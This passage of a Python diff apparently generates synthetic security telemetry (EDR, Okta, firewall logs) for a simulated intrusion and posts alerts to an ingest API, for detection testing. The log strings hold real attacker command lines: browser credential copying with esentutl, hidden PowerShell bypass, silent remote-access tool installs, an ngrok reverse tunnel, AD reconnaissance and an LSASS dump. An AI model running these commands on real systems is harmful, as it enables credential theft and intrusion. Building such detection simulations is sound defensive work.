os.path.join(backend_dir, 'app', 'alerts', 'templates'), + ] + for templates_dir in candidate_dirs: + template_path = os.path.join(templates_dir, f"{template_id}.json") + if os.path.exists(template_path): + with open(template_path, 'r') as f: + return json.load(f) + print(f" Template not found: {template_id}.json (searched {candidate_dirs})") + return None + +def send_phase_alert( + phase_name: str, + base_time: datetime, + uam_config: Dict, + include_helios_prefix: bool = False, +) -> bool: + """Send alert for a specific scenario phase using UAM ingest API.""" + if phase_name not in ALERT_PHASE_MAPPING: + return False + + mapping = ALERT_PHASE_MAPPING[phase_name] + template = load_alert_template(mapping["template"]) + if not template: + return False + + alert = copy.deepcopy(template) + alert_time = base_time + timedelta(minutes=mapping["offset_minutes"]) + time_ms = int(alert_time.timestamp() * 1000) + + if "finding_info" not in alert: + alert["finding_info"] = {} + alert["finding_info"]["uid"] = str(uuid.uuid4()) + + alert["time"] = time_ms + if "metadata" not in alert: + alert["metadata"] = {} + alert["metadata"]["logged_time"] = time_ms + alert["metadata"]["modified_time"] = time_ms + + target = mapping.get("target", "host_secondary") + if target == "host_initial": + resource_name = VICTIM_PROFILE["hostname"] + resource_uid = str(uuid.uuid5(uuid.NAMESPACE_DNS, resource_name)) + elif target == "user": + resource_name = VICTIM_PROFILE["email"] + resource_uid = str(uuid.uuid5(uuid.NAMESPACE_DNS, resource_name)) + else: + resource_name = VICTIM_PROFILE["hostname_secondary"] + resource_uid = str(uuid.uuid5(uuid.NAMESPACE_DNS, resource_name)) + alert["resources"] = [{"uid": resource_uid, "name": resource_name}] + + overrides = mapping.get("overrides", {}) + for key, value in overrides.items(): + if "." in key: + keys = key.split(".") + current = alert + for k in keys[:-1]: + if k not in current or not isinstance(current[k], dict): + current[k] = {} + current = current[k] + current[keys[-1]] = value + else: + alert[key] = value + + if include_helios_prefix: + title = alert.get("finding_info", {}).get("title", "") + if title and not title.startswith("HELIOS - "): + alert["finding_info"]["title"] = f"HELIOS - {title}" + + if requests is None: + print(" Alert send failed: missing optional dependency 'requests'") + return False + + try: + ingest_url = uam_config['uam_ingest_url'].rstrip('/') + '/v1/alerts' + scope = uam_config['uam_account_id'] + if uam_config.get('uam_site_id'): + scope = f"{scope}:{uam_config['uam_site_id']}" + + headers = { + "Authorization": f"Bearer {uam_config['uam_service_token']}", + "S1-Scope": scope, + "Content-Encoding": "gzip", + "Content-Type": "application/json", + "S1-Trace-Id": "helios-ingest-uam:alwayslog", + } + + payload = json.dumps(alert).encode("utf-8") + gzipped = gzip.compress(payload) + + print("\n Alert Details:") + print(f" Template: {mapping['template']}") + print(f" Title: {alert.get('finding_info', {}).get('title', 'N/A')}") + print(f" Resource: {resource_name}") + print(f" Time: {alert_time.isoformat()} ({time_ms}ms)") + print(f" URL: {ingest_url}") + print(f" Scope: {scope}") + print(f" Payload: {len(payload)} bytes -> {len(gzipped)} bytes (gzip)") + + resp = requests.post(ingest_url, headers=headers, data=gzipped, timeout=30) + print(f" Response: {resp.status_code} {resp.reason}") + if resp.content: + print(f" Body: {resp.text[:200]}") + return resp.status_code == 202 + except Exception as e: + print(f" Alert send failed: {e}") + return False + +# --------------------------------------------------------------------------- +# Phase 1 – Initial Access / Credential Theft (Steps 1-5) +# --------------------------------------------------------------------------- + +def generate_step1_credential_dumping(base_time: datetime) -> List[Dict]: + """Step 1: SentinelOne EDR – attacker runs browser/token dumping on HOST-EXT01. + + The intrusion typically chains two LOLBin/stealer steps: + 1) esentutl.exe (native Windows) to copy Chrome's Login Data / Cookies DB + 2) A PyInstaller-compiled Python stealer (svc_diag.exe) to parse tokens + """ + events = [] + + # 1a – esentutl.exe copies Chrome Login Data (LOLBin, evades most AV) + t = get_scenario_time(base_time, 0) + s1 = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 0), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "endpoint.type": "workstation", + "src.process.name": ATTACKER_PROFILE["credential_tool"], + "src.process.cmdline": ( + f"esentutl.exe /y \"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Google\\Chrome\\" + f"User Data\\Default\\Login Data\" /d \"C:\\Users\\{VICTIM_PROFILE['username']}\\" + f"AppData\\Local\\Temp\\tmpDB-chrome.dat\" /o" + ), + "src.process.image.path": "C:\\Windows\\System32\\esentutl.exe", + "src.process.parent.name": "powershell.exe", + "src.process.parent.cmdline": "powershell.exe -NoProfile -WindowStyle Hidden -ep Bypass", + "src.process.indicatorInfostealerCount": 1, + "src.process.indicatorEvasionCount": 1, + "src.process.indicatorGeneralCount": 3, + "indicator.category": "Credentials", + "indicator.name": "LOLBin Browser Database Copy", + "indicator.description": "esentutl.exe used to copy Chrome Login Data during credential harvesting", + }) + events.append(create_event(t, "sentinelone_endpoint", "credential_theft", s1)) + + # 1b – esentutl.exe copies Chrome Cookies DB (for session tokens / OAuth refresh) + t1b = get_scenario_time(base_time, 0, 8) + s1_cookies = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 0, 8), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": ATTACKER_PROFILE["credential_tool"], + "src.process.cmdline": ( + f"esentutl.exe /y \"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Google\\Chrome\\" + f"User Data\\Default\\Network\\Cookies\" /d \"C:\\Users\\{VICTIM_PROFILE['username']}\\" + f"AppData\\Local\\Temp\\tmpDB-cookies.dat\" /o" + ), + "src.process.image.path": "C:\\Windows\\System32\\esentutl.exe", + "src.process.parent.name": "powershell.exe", + "src.process.indicatorInfostealerCount": 2, + }) + events.append(create_event(t1b, "sentinelone_endpoint", "credential_theft", s1_cookies)) + + # 1c – PyInstaller-compiled stealer parses copied DBs and extracts tokens + t2 = get_scenario_time(base_time, 0, 15) + s1_stealer = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 0, 15), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "endpoint.type": "workstation", + "src.process.name": ATTACKER_PROFILE["credential_stealer_compiled"], + "src.process.cmdline": f"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Temp\\{ATTACKER_PROFILE['credential_stealer_compiled']} --quiet --out C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Temp\\diag_output.enc", + "src.process.image.path": f"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Temp\\{ATTACKER_PROFILE['credential_stealer_compiled']}", + "src.process.image.sha256": ATTACKER_PROFILE["credential_tool_sha256"], + "src.process.parent.name": "powershell.exe", + "src.process.parent.cmdline": "powershell.exe -NoProfile -WindowStyle Hidden -ep Bypass", + "src.process.indicatorInfostealerCount": 4, + "src.process.indicatorEvasionCount": 2, + "src.process.indicatorGeneralCount": 6, + "indicator.category": "Credentials", + "indicator.name": "Compiled Python Credential Stealer", + "indicator.description": "PyInstaller-packed stealer parsing Chrome credential and cookie databases for OAuth refresh tokens", + }) + events.append(create_event(t2, "sentinelone_endpoint", "credential_theft", s1_stealer)) + + # 1d – File creation: encrypted exfil archive with harvested tokens + t3 = get_scenario_time(base_time, 0, 25) + s1_file = sentinelone_endpoint_log({ + "event.type": "File Creation", + "event.time": ts_ns(base_time, 0, 25), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": ATTACKER_PROFILE["credential_stealer_compiled"], + "tgt.file.path": f"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Temp\\diag_output.enc", + "tgt.file.size": 67584, + }) + events.append(create_event(t3, "sentinelone_endpoint", "credential_theft", s1_file)) + + # 1e – Windows Security 4663: object access on Chrome Login Data + t4 = get_scenario_time(base_time, 0, 30) + wel_raw = _build_wel_event( + event_id=4663, + description="An attempt was made to access an object.", + user=VICTIM_PROFILE["username"], + domain=VICTIM_PROFILE["domain"], + computer=VICTIM_PROFILE["hostname"], + object_name=f"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", + process_name="C:\\Windows\\System32\\esentutl.exe", + access_mask="0x1", + ) + events.append(create_event(t4, "microsoft_windows_eventlog", "credential_theft", wel_raw)) + + return events + +def generate_step2_token_redeem(base_time: datetime) -> List[Dict]: + """Step 2: Okta – stolen refresh token redeemed from unusual IP.""" + events = [] + + t = get_scenario_time(base_time, 5) + okta_event = { + "uuid": str(uuid.uuid4()), + "published": t, + "eventType": "user.authentication.sso", + "version": "0", + "severity": "WARN", + "legacyEventType": "user.authentication.sso_success", + "displayMessage": "User single sign on to app via token refresh", + "actor": { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + "client": { + "userAgent": { + "rawUserAgent": ATTACKER_PROFILE["stolen_token_user_agent"], + "os": {"family": "Windows"}, + "browser": {"family": "Chrome"}, + }, + "zone": "PUBLIC", + "device": "Computer", + "ipAddress": ATTACKER_PROFILE["attacker_ip"], + "geographicalContext": { + "city": ATTACKER_PROFILE["attacker_city"], + "state": "", + "country": ATTACKER_PROFILE["attacker_country"], + "postalCode": "", + "geolocation": {"lat": 47.0105, "lon": 28.8638}, + }, + }, + "outcome": { + "result": "SUCCESS", + "reason": "Refresh token redeemed – non-interactive sign-in", + }, + "transaction": {"type": "WEB", "id": str(uuid.uuid4())}, + "debugContext": { + "debugData": { + "requestId": str(uuid.uuid4()), + "requestUri": "/oauth2/v1/token", + "threatSuspected": "true", + "url": "/oauth2/v1/token", + "dtHash": str(uuid.uuid4()), + "loginResult": "SUCCESS", + "refreshTokenId": str(uuid.uuid4()), + } + }, + "authenticationContext": { + "authenticationStep": 0, + "externalSessionId": str(uuid.uuid4()), + "rootSessionId": str(uuid.uuid4()), + }, + "securityContext": { + "asNumber": 44477, + "asOrg": ATTACKER_PROFILE["attacker_isp"], + "isp": ATTACKER_PROFILE["attacker_isp"], + "domain": "starkglobal.net", + "isProxy": True, + }, + } + events.append(create_event(t, "okta_authentication", "credential_theft", json.dumps(okta_event))) + + return events + +def generate_step3_oauth_grant(base_time: datetime) -> List[Dict]: + """Step 3: Okta – new OAuth session / consent grant observed for chris.""" + events = [] + + t = get_scenario_time(base_time, 7) + okta_event = { + "uuid": str(uuid.uuid4()), + "published": t, + "eventType": "app.oauth2.consent.grant", + "version": "0", + "severity": "WARN", + "legacyEventType": "app.oauth2.consent.grant", + "displayMessage": "OAuth2 consent grant for mailbox and calendar access", + "actor": { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + "client": { + "userAgent": { + "rawUserAgent": ATTACKER_PROFILE["stolen_token_user_agent"], + "os": {"family": "Windows"}, + "browser": {"family": "Chrome"}, + }, + "zone": "PUBLIC", + "device": "Computer", + "ipAddress": ATTACKER_PROFILE["attacker_ip"], + "geographicalContext": { + "city": ATTACKER_PROFILE["attacker_city"], + "state": "", + "country": ATTACKER_PROFILE["attacker_country"], + "postalCode": "", + "geolocation": {"lat": 47.0105, "lon": 28.8638}, + }, + }, + "outcome": {"result": "SUCCESS", "reason": "OAuth2 consent granted"}, + "target": [ + { + "id": str(uuid.uuid4()), + "type": "AppInstance", + "alternateId": "Microsoft Office 365", + "displayName": "Microsoft Office 365", + }, + { + "id": str(uuid.uuid4()), + "type": "access_token", + "alternateId": "oat_access_token", + "displayName": "OAuth Access Token", + }, + ], + "transaction": {"type": "WEB", "id": str(uuid.uuid4())}, + "debugContext": { + "debugData": { + "requestId": str(uuid.uuid4()), + "requestUri": "/oauth2/v1/authorize", + "threatSuspected": "true", + "grantedScopes": "openid,profile,email,Mail.Read,Mail.ReadWrite,Calendars.Read", + } + }, + "authenticationContext": { + "authenticationStep": 0, + "externalSessionId": str(uuid.uuid4()), + "rootSessionId": str(uuid.uuid4()), + }, + "securityContext": { + "asNumber": 44477, + "asOrg": ATTACKER_PROFILE["attacker_isp"], + "isp": ATTACKER_PROFILE["attacker_isp"], + "domain": "starkglobal.net", + "isProxy": True, + }, + } + events.append(create_event(t, "okta_authentication", "identity_abuse", json.dumps(okta_event))) + + return events + +def generate_step4_impossible_travel(base_time: datetime) -> List[Dict]: + """Step 4: Okta – impossible travel / anomalous sign-in detected.""" + events = [] + + t = get_scenario_time(base_time, 8) + okta_event = { + "uuid": str(uuid.uuid4()), + "published": t, + "eventType": "policy.evaluate_sign_on", + "version": "0", + "severity": "WARN", + "legacyEventType": "policy.evaluate_sign_on", + "displayMessage": "Anomalous sign-in: impossible travel detected for chris@roarinpenguin.com", + "actor": { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + "client": { + "userAgent": { + "rawUserAgent": ATTACKER_PROFILE["stolen_token_user_agent"], + "os": {"family": "Windows"}, + "browser": {"family": "Chrome"}, + }, + "zone": "PUBLIC", + "device": "Computer", + "ipAddress": ATTACKER_PROFILE["attacker_ip"], + "geographicalContext": { + "city": ATTACKER_PROFILE["attacker_city"], + "state": "", + "country": ATTACKER_PROFILE["attacker_country"], + "postalCode": "", + "geolocation": {"lat": 47.0105, "lon": 28.8638}, + }, + }, + "outcome": { + "result": "ALLOW", + "reason": "Sign-on policy evaluation: anomalous location but valid token", + }, + "transaction": {"type": "WEB", "id": str(uuid.uuid4())}, + "debugContext": { + "debugData": { + "requestId": str(uuid.uuid4()), + "requestUri": "/api/v1/authn", + "threatSuspected": "true", + "risk": json.dumps({ + "level": "HIGH", + "reasons": [ + "Anomalous Location", + "Impossible Travel", + "New ASN", + "Unfamiliar Client", + ], + }), + "behaviors": json.dumps({ + "New Geo-Location": "POSITIVE", + "New Device": "POSITIVE", + "New IP": "POSITIVE", + "New State": "POSITIVE", + "New Country": "POSITIVE", + "Velocity": "POSITIVE", + }), + } + }, + "authenticationContext": { + "authenticationStep": 0, + "externalSessionId": str(uuid.uuid4()), + "rootSessionId": str(uuid.uuid4()), + }, + "securityContext": { + "asNumber": 44477, + "asOrg": ATTACKER_PROFILE["attacker_isp"], + "isp": ATTACKER_PROFILE["attacker_isp"], + "domain": "starkglobal.net", + "isProxy": True, + }, + } + events.append(create_event(t, "okta_authentication", "identity_abuse", json.dumps(okta_event))) + + return events + +def generate_step5_persistent_session(base_time: datetime) -> List[Dict]: + """Step 5: Okta – long-lived session / new device registration.""" + events = [] + + t = get_scenario_time(base_time, 9, 30) + okta_event = { + "uuid": str(uuid.uuid4()), + "published": t, + "eventType": "device.enrollment.create", + "version": "0", + "severity": "WARN", + "legacyEventType": "device.enrollment.create", + "displayMessage": f"New device registered: {ATTACKER_PROFILE['new_device_name']} for {VICTIM_PROFILE['email']}", + "actor": { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + "client": { + "userAgent": { + "rawUserAgent": ATTACKER_PROFILE["stolen_token_user_agent"], + "os": {"family": "Windows"}, + "browser": {"family": "Chrome"}, + }, + "zone": "PUBLIC", + "device": "Computer", + "ipAddress": ATTACKER_PROFILE["attacker_ip"], + "geographicalContext": { + "city": ATTACKER_PROFILE["attacker_city"], + "state": "", + "country": ATTACKER_PROFILE["attacker_country"], + "postalCode": "", + "geolocation": {"lat": 47.0105, "lon": 28.8638}, + }, + }, + "outcome": {"result": "SUCCESS", "reason": "Device enrollment completed"}, + "target": [ + { + "id": str(uuid.uuid4()), + "type": "Device", + "alternateId": ATTACKER_PROFILE["new_device_name"], + "displayName": ATTACKER_PROFILE["new_device_name"], + } + ], + "transaction": {"type": "WEB", "id": str(uuid.uuid4())}, + "debugContext": { + "debugData": { + "requestId": str(uuid.uuid4()), + "requestUri": "/api/v1/devices", + "threatSuspected": "true", + "devicePlatform": "WINDOWS", + "enrollmentType": "passwordless", + } + }, + "authenticationContext": { + "authenticationStep": 0, + "externalSessionId": str(uuid.uuid4()), + "rootSessionId": str(uuid.uuid4()), + }, + "securityContext": { + "asNumber": 44477, + "asOrg": ATTACKER_PROFILE["attacker_isp"], + "isp": ATTACKER_PROFILE["attacker_isp"], + "domain": "starkglobal.net", + "isProxy": True, + }, + } + events.append(create_event(t, "okta_authentication", "identity_abuse", json.dumps(okta_event))) + + # Persistent session created + t2 = get_scenario_time(base_time, 10) + session_event = { + "uuid": str(uuid.uuid4()), + "published": t2, + "eventType": "user.session.start", + "version": "0", + "severity": "INFO", + "legacyEventType": "user.session.start_success", + "displayMessage": f"Persistent session created for {VICTIM_PROFILE['email']} – no MFA challenge", + "actor": { + "id": VICTIM_PROFILE["okta_user_id"], + "type": "User", + "alternateId": VICTIM_PROFILE["email"], + "displayName": VICTIM_PROFILE["name"], + }, + "client": { + "userAgent": { + "rawUserAgent": ATTACKER_PROFILE["stolen_token_user_agent"], + "os": {"family": "Windows"}, + "browser": {"family": "Chrome"}, + }, + "zone": "PUBLIC", + "device": "Computer", + "ipAddress": ATTACKER_PROFILE["attacker_ip"], + "geographicalContext": { + "city": ATTACKER_PROFILE["attacker_city"], + "state": "", + "country": ATTACKER_PROFILE["attacker_country"], + "postalCode": "", + "geolocation": {"lat": 47.0105, "lon": 28.8638}, + }, + }, + "outcome": {"result": "SUCCESS", "reason": "User session started with persistent cookie"}, + "target": [ + { + "id": str(uuid.uuid4()), + "type": "AppInstance", + "alternateId": "Microsoft Office 365", + "displayName": "Microsoft Office 365", + } + ], + "transaction": {"type": "WEB", "id": str(uuid.uuid4())}, + "debugContext": { + "debugData": { + "requestId": str(uuid.uuid4()), + "requestUri": "/login/sessionCookieRedirect", + "threatSuspected": "false", + } + }, + "authenticationContext": { + "authenticationStep": 0, + "externalSessionId": str(uuid.uuid4()), + "rootSessionId": str(uuid.uuid4()), + }, + "securityContext": { + "asNumber": 44477, + "asOrg": ATTACKER_PROFILE["attacker_isp"], + "isp": ATTACKER_PROFILE["attacker_isp"], + "domain": "starkglobal.net", + "isProxy": True, + }, + } + events.append(create_event(t2, "okta_authentication", "identity_abuse", json.dumps(session_event))) + + return events + +# --------------------------------------------------------------------------- +# Phase 2 – Command & Control (Steps 6-7) +# --------------------------------------------------------------------------- + +def generate_step6_c2_primary(base_time: datetime) -> List[Dict]: + """Step 6: Palo Alto + EDR – ScreenConnect installed and calling home. + + The intrusion's primary C2 path abuses legitimate remote management + tools (ConnectWise ScreenConnect, AnyDesk, Splashtop). The installer + runs silently, registers as a Windows service, and connects outbound + to relay.screenconnect.com over HTTPS. + """ + events = [] + + # 6a – ScreenConnect silent installer launched via msiexec + t0 = get_scenario_time(base_time, 12) + s1_install = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 12), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "endpoint.type": "workstation", + "src.process.name": "msiexec.exe", + "src.process.cmdline": f"msiexec.exe /i C:\\Users\\{VICTIM_PROFILE['username']}\\Downloads\\ConnectWiseControl.Client.exe /quiet /norestart", + "src.process.image.path": "C:\\Windows\\System32\\msiexec.exe", + "src.process.parent.name": "powershell.exe", + "src.process.parent.cmdline": "powershell.exe -NoProfile -WindowStyle Hidden -ep Bypass", + "src.process.indicatorEvasionCount": 2, + "src.process.indicatorPersistenceCount": 1, + "indicator.category": "RemoteAccess", + "indicator.name": "ScreenConnect Silent Installation", + "indicator.description": "ConnectWise ScreenConnect client installed silently as a persistence mechanism", + }) + events.append(create_event(t0, "sentinelone_endpoint", "command_and_control", s1_install)) + + # 6b – ScreenConnect service connects outbound to relay + t = get_scenario_time(base_time, 12, 30) + s1_net = sentinelone_endpoint_log({ + "event.type": "Network Connection", + "event.time": ts_ns(base_time, 12, 30), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": ATTACKER_PROFILE["screenconnect_binary"], + "src.process.cmdline": f"\"C:\\Program Files (x86)\\ScreenConnect Client\\{ATTACKER_PROFILE['screenconnect_binary']}\"", + "src.process.image.path": f"C:\\Program Files (x86)\\ScreenConnect Client\\{ATTACKER_PROFILE['screenconnect_binary']}", + "event.network.direction": "Outbound", + "event.network.connectionStatus": "Established", + "event.network.protocolName": "TCP", + "src.ip.address": VICTIM_PROFILE["normal_ip"], + "src.port.number": random.randint(49152, 65535), + "dst.ip.address": ATTACKER_PROFILE["c2_ip_primary"], + "dst.port.number": ATTACKER_PROFILE["c2_port"], + "src.process.netConnOutCount": 3, + }) + events.append(create_event(t, "sentinelone_endpoint", "command_and_control", s1_net)) + + # 6c – Palo Alto firewall TRAFFIC log for ScreenConnect relay connection + pa_traffic = _build_paloalto_c2_traffic( + base_time, 12, + src_ip=VICTIM_PROFILE["normal_ip"], + dst_ip=ATTACKER_PROFILE["c2_ip_primary"], + dst_port=ATTACKER_PROFILE["c2_port"], + app="ssl", + action="allow", + category="remote-access", + ) + if pa_traffic.startswith(","): + pa_traffic = pa_traffic[1:] + events.append(create_event(t, "paloalto_firewall", "command_and_control", {"raw": pa_traffic})) + + return events + +def generate_step7_c2_secondary(base_time: datetime) -> List[Dict]: + """Step 7: Palo Alto + EDR – ngrok tunnel + AnyDesk as backup C2 channels. + + The intrusion layers multiple remote-access paths for redundancy: + an ngrok reverse tunnel for ad-hoc shell access, and AnyDesk as a + second GUI-based remote-control option. + """ + events = [] + + # 7a – ngrok reverse TCP tunnel established + t1 = get_scenario_time(base_time, 14) + s1_ngrok = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 14), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": "ngrok.exe", + "src.process.cmdline": f"ngrok.exe tcp 4444 --authtoken 2eKx9Q_REDACTED --region us --log stdout", + "src.process.image.path": f"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Temp\\ngrok.exe", + "src.process.parent.name": "powershell.exe", + "src.process.parent.cmdline": "powershell.exe -NoProfile -WindowStyle Hidden -ep Bypass", + "src.process.indicatorEvasionCount": 1, + "src.process.indicatorGeneralCount": 2, + "indicator.category": "RemoteAccess", + "indicator.name": "Ngrok Tunnel Agent", + "indicator.description": "ngrok reverse tunnel exposing local port as a backup C2 channel", + }) + events.append(create_event(t1, "sentinelone_endpoint", "command_and_control", s1_ngrok)) + + # 7b – ngrok outbound connection to tunnel endpoint + t2 = get_scenario_time(base_time, 14, 15) + s1_ngrok_net = sentinelone_endpoint_log({ + "event.type": "Network Connection", + "event.time": ts_ns(base_time, 14, 15), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": "ngrok.exe", + "src.process.cmdline": f"ngrok.exe tcp 4444 --authtoken 2eKx9Q_REDACTED --region us", + "event.network.direction": "Outbound", + "event.network.connectionStatus": "Established", + "event.network.protocolName": "TCP", + "src.ip.address": VICTIM_PROFILE["normal_ip"], + "src.port.number": random.randint(49152, 65535), + "dst.ip.address": ATTACKER_PROFILE["c2_ip_secondary"], + "dst.port.number": ATTACKER_PROFILE["c2_port_secondary"], + "src.process.netConnOutCount": 5, + }) + events.append(create_event(t2, "sentinelone_endpoint", "command_and_control", s1_ngrok_net)) + + # 7c – Palo Alto THREAT log for ngrok tunnel traffic + pa_threat_ngrok = _build_paloalto_c2_threat( + base_time, 14, + src_ip=VICTIM_PROFILE["normal_ip"], + dst_ip=ATTACKER_PROFILE["c2_ip_secondary"], + dst_port=ATTACKER_PROFILE["c2_port_secondary"], + threat_category="command-and-control", + severity="critical", + ) + if pa_threat_ngrok.startswith(","): + pa_threat_ngrok = pa_threat_ngrok[1:] + events.append(create_event(t2, "paloalto_firewall", "command_and_control", {"raw": pa_threat_ngrok})) + + # 7d – AnyDesk installed as secondary remote-access tool + t3 = get_scenario_time(base_time, 16) + s1_anydesk = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 16), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": ATTACKER_PROFILE["anydesk_binary"], + "src.process.cmdline": f"C:\\Users\\{VICTIM_PROFILE['username']}\\Downloads\\{ATTACKER_PROFILE['anydesk_binary']} --install \"C:\\ProgramData\\AnyDesk\" --start-with-win --silent", + "src.process.image.path": f"C:\\Users\\{VICTIM_PROFILE['username']}\\Downloads\\{ATTACKER_PROFILE['anydesk_binary']}", + "src.process.parent.name": "explorer.exe", + "src.process.indicatorPersistenceCount": 2, + "src.process.indicatorEvasionCount": 1, + "indicator.category": "RemoteAccess", + "indicator.name": "AnyDesk Remote Desktop Installation", + "indicator.description": "AnyDesk installed silently with auto-start as secondary remote access", + }) + events.append(create_event(t3, "sentinelone_endpoint", "command_and_control", s1_anydesk)) + + # 7e – AnyDesk outbound connection + t4 = get_scenario_time(base_time, 16, 20) + s1_anydesk_net = sentinelone_endpoint_log({ + "event.type": "Network Connection", + "event.time": ts_ns(base_time, 16, 20), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname"], + "src.process.name": ATTACKER_PROFILE["anydesk_binary"], + "event.network.direction": "Outbound", + "event.network.connectionStatus": "Established", + "event.network.protocolName": "TCP", + "src.ip.address": VICTIM_PROFILE["normal_ip"], + "src.port.number": random.randint(49152, 65535), + "dst.ip.address": ATTACKER_PROFILE["c2_ip_primary"], + "dst.port.number": ATTACKER_PROFILE["c2_port"], + "src.process.netConnOutCount": 6, + }) + events.append(create_event(t4, "sentinelone_endpoint", "command_and_control", s1_anydesk_net)) + + # 7f – Palo Alto TRAFFIC log for AnyDesk relay + pa_traffic_anydesk = _build_paloalto_c2_traffic( + base_time, 16, + src_ip=VICTIM_PROFILE["normal_ip"], + dst_ip=ATTACKER_PROFILE["c2_ip_primary"], + dst_port=ATTACKER_PROFILE["c2_port"], + app="anydesk", + action="allow", + category="remote-access", + ) + if pa_traffic_anydesk.startswith(","): + pa_traffic_anydesk = pa_traffic_anydesk[1:] + events.append(create_event(t4, "paloalto_firewall", "command_and_control", {"raw": pa_traffic_anydesk})) + + return events + +# --------------------------------------------------------------------------- +# Phase 3 – Endpoint Discovery & Staging (Step 8) +# --------------------------------------------------------------------------- + +def generate_step8_discovery(base_time: datetime) -> List[Dict]: + """Step 8: SentinelOne – discovery commands and LOLBins on HOST-01. + + The intrusion uses a mix of native Windows LOLBins and attacker + tooling (SharpHound for BloodHound, ADRecon, csvde) to map AD. + All launched from ScreenConnect's shell session. + """ + events = [] + + discovery_commands = [ + # (process, cmdline, indicator_name) + ("whoami.exe", "whoami /all /fo list", "Local Identity Enumeration"), + ("systeminfo.exe", "systeminfo | findstr /B /C:\"OS\" /C:\"Domain\" /C:\"Hotfix\"", "System Information Discovery"), + ("net.exe", "net group \"Domain Admins\" /domain", "Domain Admin Group Enumeration"), + ("net.exe", "net group \"Enterprise Admins\" /domain", "Enterprise Admin Group Enumeration"), + ("nltest.exe", "nltest /dclist:ROARINPENGUIN", "Domain Controller Enumeration"), + ("csvde.exe", "csvde.exe -f C:\\Users\\Public\\ad_export.csv -r \"(objectClass=user)\" -l \"cn,mail,memberOf,lastLogon\"", "AD User Export via CSVDE"), + ("powershell.exe", "powershell.exe -ep Bypass -c \"Import-Module .\\ADRecon.ps1; Invoke-ADRecon -OutputType CSV -OutputDir C:\\Users\\Public\\adrecon_out\"", "ADRecon Active Directory Reconnaissance"), + ("SharpHound.exe", f"C:\\Users\\{VICTIM_PROFILE['username']}\\AppData\\Local\\Temp\\SharpHound.exe --CollectionMethods All --Domain ROARINPENGUIN --ExcludeDCs --OutputDirectory C:\\Users\\Public\\bh_output", "SharpHound BloodHound Collector"), + ] + + for i, (proc_name, cmdline, indicator_name) in enumerate(discovery_commands): + t = get_scenario_time(base_time, 20 + i) + s1 = sentinelone_endpoint_log({ + "event.type": "Process Creation", + "event.time": ts_ns(base_time, 20 + i), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "endpoint.type": "workstation", + "src.process.name": proc_name, + "src.process.cmdline": cmdline, + "src.process.parent.name": ATTACKER_PROFILE["screenconnect_binary"], + "src.process.parent.cmdline": f"\"C:\\Program Files (x86)\\ScreenConnect Client\\{ATTACKER_PROFILE['screenconnect_binary']}\"", + "src.process.indicatorReconnaissanceCount": 2 + i, + "src.process.indicatorGeneralCount": 3 + i, + "indicator.category": "Discovery", + "indicator.name": indicator_name, + }) + events.append(create_event(t, "sentinelone_endpoint", "discovery_staging", s1)) + + # BloodHound output zip file creation + t_bh = get_scenario_time(base_time, 28, 30) + s1_bh_file = sentinelone_endpoint_log({ + "event.type": "File Creation", + "event.time": ts_ns(base_time, 28, 30), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "SharpHound.exe", + "tgt.file.path": f"C:\\Users\\Public\\bh_output\\{datetime.now().strftime('%Y%m%d')}_{random.randint(100000,999999)}_BloodHound.zip", + "tgt.file.size": random.randint(512000, 2048000), + }) + events.append(create_event(t_bh, "sentinelone_endpoint", "discovery_staging", s1_bh_file)) + + return events + +# --------------------------------------------------------------------------- +# Phase 4 – Credential & Privilege Abuse (Step 9) +# --------------------------------------------------------------------------- + +def generate_step9_privilege_escalation(base_time: datetime) -> List[Dict]: + """Step 9: SentinelOne + Okta – credential theft and admin role assignment.""" + events = [] + + # LSASS credential access on endpoint + t1 = get_scenario_time(base_time, 30) + s1_cred = sentinelone_endpoint_log({ + "event.type": "Credential Access", + "event.time": ts_ns(base_time, 30), + "os.name": "Windows", + "endpoint.name": VICTIM_PROFILE["hostname_secondary"], + "src.process.name": "rundll32.exe", + "src.process.cmdline": "rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump 672 